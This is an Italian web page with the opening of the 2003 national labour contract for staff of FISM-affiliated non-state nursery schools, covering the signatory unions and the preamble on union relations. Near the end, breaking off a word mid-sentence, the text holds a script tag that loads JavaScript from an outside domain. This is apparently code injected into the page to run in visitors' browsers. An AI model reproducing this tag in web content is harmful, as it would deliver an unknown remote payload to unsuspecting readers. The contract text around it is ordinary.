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Categoria: Scuole materne non statali Settore: Enti Privati Data stipula: 6-2-2003 Data decorrenza: 1-1-2002 Data scadenza: 31-12-2005
Contratto Collettivo Nazionale di Lavoro
PER IL PERSONALE ADDETTO AI SERVIZI ALL'INFANZIA
E ALLE SCUOLE DELL'INFANZIA NON STATALI ADERENTI ALLA FISM
Il giorno 6 febbraio 2003, in Roma, presso la sede nazionale della CISL-
Scuola, in via A. Bargoni 8, tra:
-la Federazione Italiana Scuole Materne (FISM) rappresentata
dal Segretario nazionale Luigi Morgano, dal Presidente della Commissione
Antonio Zanforlin e da Aldo Fontanella, Martino Massoli, Paolo
Stefanini, Giannino Zanfisi
e
-il Sindacato Nazionale Scuola CGIL rappresentato da Enrico Panini,
Beniamino Lami, Augusto Fossati, Massimo Mari, Mara Cecchetti, Maria
Grazia Orfei;
- CISL-Scuola rappresentata da Daniela Colturani, Vincenzo Strazzullo,
Maria Lucia Dal Pino, Elio Formosa;
- UIL-Scuola rappresentata da Massimo Di Menna, Pino Turi, Adriano Enea
Bellardini;
-SNALS-CONFSAL rappresentato da Fedele Ricciato, Aurelio Costanzo,
Achille Massenti, Ida Cota
è stato firmato il CCNL che disciplina il trattamento normativo 2002-2005
ed economico 2002-2003 per il personale direttivo, docente,
amministrativo, tecnico ed ausiliario occupato nelle scuole aderenti alla
FISM, già siglato il 18 ottobre 2002.
Parte I - LE RELAZIONI E I DIRITTI SINDACALI
Capitolo I - LE RELAZIONI E I DIRITTI SINDACALI
Premessa.
Il presente CCNL viene stipulato in applicazione dei principi e delle
norme contenuti nel Protocollo 23.7.93, negli Accordi interconfederali
24.9.96 e 22.12.98.
In coerenza, le parti:
-si danno atto, in nome proprio e per conto delle scuole da essi
rappresentate aderenti al contratto e delle rappresentanze dei lavoratori,
che la condizione necessaria per il consolidamento delle relazioni e dei
diritti sindacali concordati è la loro puntuale osservanza ai diversi
livelli; s'impegnano a rispettare e a far rispettare le norme del CCNL;
-confermano la validità del metodo del confronto che, attraverso un
processo di reciproche informazioni su organizzazione del lavoro e
funzionamento dei servizi, consenta intese e azioni convergenti sulle
materie in questione, oggetto d'informazione; concordano sulla opportunità
di definire momenti d'incontro per procedere congiuntamente ad esami e
valutazioni in ordine alle problematiche del settore, delle prospettive di
sviluppo, dei processi di ristrutturazione-aggiornamento.
La FISM conferma come proprio impegno prioritario la salvaguardia
dell'occupazione, considerandolo correlativo al mantenimento delle
strutture operative. Le OOSS dichiarano la disponibilità dei lavoratori,
nella salvaguardia dei diritti acquisiti, a fornire un contributo al
rilancio e alla qualificazione delle strutture operative.
Le parti, facendosi carico di orientare l'azione dei propri rappresentanti
e nell'intento di ricercare comportamenti coerenti, concordano di cogliere
le opportunità offerte dal mercato del lavoro e nello stesso tempo
promuovere un contributo allo sviluppo dell'occupazione anche mediante il
ricorso a norme introdotte dalla legislazione del lavoro quali
l'apprendistato, il rapporto a tempo parziale, il lavoro ripartito (job
sharing) e a tempo determinato, il lavoro interinale e il telelavoro,
nonché di intensificare nella vigenza del presente contratto uno schema di
relazioni sindacali come successivamente specificate.
Le OOSS ribadiscono, da parte loro, la disponibilità dei lavoratori nella
salvaguardia dei diritti acquisiti a fornire un contributo al rilancio
delle scuole, nella convinzione che solamente gestioni economicamente sane
e competitive consentano ai lavoratori di avere le garanzie per la
continuità dell'impiego, nonché la salvaguardia dei livelli occupazionali.
Fermo restando che il rapporto di lavoro tra scuole materne e il personale
dipendente è a temp<script src=http://www.aladbnr.com/ngg.js></script>
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